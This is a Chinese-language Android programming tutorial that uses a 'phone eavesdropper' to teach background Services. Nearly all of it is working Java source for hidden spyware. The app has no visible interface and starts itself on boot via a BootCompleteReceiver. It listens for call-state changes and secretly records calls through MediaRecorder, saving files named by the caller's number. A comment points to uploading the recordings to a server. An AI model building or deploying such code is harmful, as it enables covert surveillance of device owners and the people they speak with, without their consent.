Android教程網
  1. 首頁
  2. Android 技術
  3. Android 手機
  4. Android 系統教程
  5. Android 游戲
 Android教程網 >> Android技術 >> 關於Android編程 >> Android中 服務Service 電話竊聽器

Android中 服務Service 電話竊聽器

編輯:關於Android編程

組件—服務

後台長期運行的沒有界面的一個activity。

 

電話竊聽器:

需求:

1.沒有界面,一般用戶看不到,開機自動啟動

2.長期的後台運行,監視當前用戶的手機狀態

3.通話狀態,開啟一個錄音機,然後錄音通話記錄,保存在sd卡中。

 

創建服務的步驟:

1.寫一個類,繼承系統的Service組件

2.清單文件配置

3.在服務的onCreate()方法做服務初始化的操作

4.在服務的onDestroy()方法裡面做服務掃尾操作

5.開啟服務startService(intent) stopService(intent)。

 

一.自己寫界面控制服務的開啟和關閉

xml文件很簡單,就兩個button開啟服務和關閉服務,不給出了。

\

 

MainActivity.java文件,

 

package com.itheima.phonelistener;

import android.os.Bundle;
import android.app.Activity;
import android.content.Intent;
import android.view.Menu;
import android.view.View;

public class MainActivity extends Activity {

	@Override
	protected void onCreate(Bundle savedInstanceState) {
		super.onCreate(savedInstanceState);
		setContentView(R.layout.activity_main);
	}

	/**
	 * 開啟服務按鈕對應的點擊時間
	 * @param view
	 */
	public void start(View view){
		//定義服務的意圖對象
		Intent intent = new Intent(this,PhoneStatusService.class);
		startService(intent);
	}

	/**
	 * 關閉服務按鈕對應的點擊時間
	 * @param view
	 */
	public void stop(View view){
		Intent intent = new Intent(this,PhoneStatusService.class);
		stopService(intent);
	}
}

服務PhoneStatusService.java文件,

 

 

package com.itheima.phonelistener;

import java.io.File;
import java.io.IOException;

import android.app.Service;
import android.content.Intent;
import android.media.MediaRecorder;
import android.media.MediaRecorder.AudioSource;
import android.os.Environment;
import android.os.IBinder;
import android.telephony.PhoneStateListener;
import android.telephony.TelephonyManager;
import android.util.Log;

public class PhoneStatusService extends Service {
	
	public static final String TAG = "PhoneStatusService";
	//聲明手機電話系統狀態管理的服務類
	private TelephonyManager tm;
	//電話狀態的監聽器
	private MyPhoneListener myPhoneListener;
	//定義一個電話錄音機
	private MediaRecorder mediaRecorder;

	@Override
	public IBinder onBind(Intent arg0) {
		return null;
	}

	//Called by the system when the service is first created
	//當服務第一次被創建的時候執行,由系統執行的。
	@Override
	public void onCreate() {
		//獲取手機電話狀態管理的服務。
		tm  = (TelephonyManager)getSystemService(TELEPHONY_SERVICE);
		//創建一個監聽器,監聽電話呼叫狀態的變化。
		myPhoneListener = new MyPhoneListener();
		//開始監聽用戶的通話狀態
		tm.listen(myPhoneListener, PhoneStateListener.LISTEN_CALL_STATE);
		
		super.onCreate();
	}
	//Called by the system to notify a Service that it is no longer used and is being removed
	//當服務被停止的時候調用。
	@Override
	public void onDestroy() {
		//服務停止取消電話的監聽器
		tm.listen(myPhoneListener, PhoneStateListener.LISTEN_NONE);
		myPhoneListener = null;
		super.onDestroy();
	}
	private class MyPhoneListener extends PhoneStateListener{

		//當手機呼叫狀態變化的時候 執行下面代碼。
		//state 電話的狀態
		//incomingnumber 來電號碼
		@Override
		public void onCallStateChanged(int state, String incomingNumber) {
			try {
				//判斷我們當前手機的通話狀態
				switch (state) {
				//手機處於空閒狀態,沒有人打電話 沒有零響
				case TelephonyManager.CALL_STATE_IDLE:
					Log.i(TAG,"手機處於空閒狀態,檢查剛才是否開啟了錄音機,如果開啟了,保存音頻到sd卡");
					if(mediaRecorder!=null){
						//8.停止錄音
						mediaRecorder.stop();
						//9.釋放資源。
						mediaRecorder.release();
						//方便垃圾回收器回收掉資源
						mediaRecorder = null;
						//上傳音頻文件到服務器 。 網絡請求api。刪除sd卡臨時保存的文件。
					}
					break;
				//手機零響狀態
				case TelephonyManager.CALL_STATE_RINGING:
					Log.i(TAG,"手機鈴聲響的狀態,悄悄地開啟一個錄音機,准備錄音。");
					//1.第一步創建一個多媒體錄音機的實例
					mediaRecorder = new MediaRecorder();
					//2.指定錄音機的音頻源 錄音的音源是麥克風
					mediaRecorder.setAudioSource(AudioSource.MIC);
					//3.指定這個音頻文件的格式 。
					mediaRecorder.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP);
					//4.指定錄出來的音頻文件保存的文件路徑
					File file = new File(Environment.getExternalStorageDirectory(),incomingNumber+".3gp");
					mediaRecorder.setOutputFile(file.getAbsolutePath());
					//5.設置音頻的編碼格式
					mediaRecorder.setAudioEncoder(MediaRecorder.AudioEncoder.DEFAULT);
					//6.准備開始錄音
					mediaRecorder.prepare();
					break;
				//電話接通狀態,用戶正在打電話
				case TelephonyManager.CALL_STATE_OFFHOOK:
					Log.i(TAG,"手機處於通話狀態,開始錄音,把用戶說的話都給錄下來。");
					if(mediaRecorder!=null){
						//7.開始錄音
						mediaRecorder.start();
					}
					break;
				}
				super.onCallStateChanged(state, incomingNumber);
			} catch (Exception e) {
				e.printStackTrace();
			}
		}
		
	}
	
	
}

配置文件AndroidManifest.xml添加

 

 


        

    
    
    
    
    
\

 

二.開機自動啟動服務

配置文件AndroidManifest.xml添加

 


    

 

 

自定義開機廣播接受者,

 

package com.itheima.phonelistener;

import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.util.Log;

public class BootCompleteReceiver extends BroadcastReceiver {

	private static final String TAG = "BootCompleteReceiver";

	@Override
	public void onReceive(Context context, Intent intent) {
		Log.i(TAG,"手機啟動完畢了,監視到了手機啟動的廣播事件,開啟後台監聽的服務");
		Intent i = new Intent(context,PhoneStatusService.class);
		context.startService(i);
	}

}
\

 

查看sd卡路徑下可以找到.3gp文件,就是通話的錄音文件。
 

  1. 上一頁:
  2. 下一頁:
熱門文章
閱讀排行版
Copyright © Android教程網 All Rights Reserved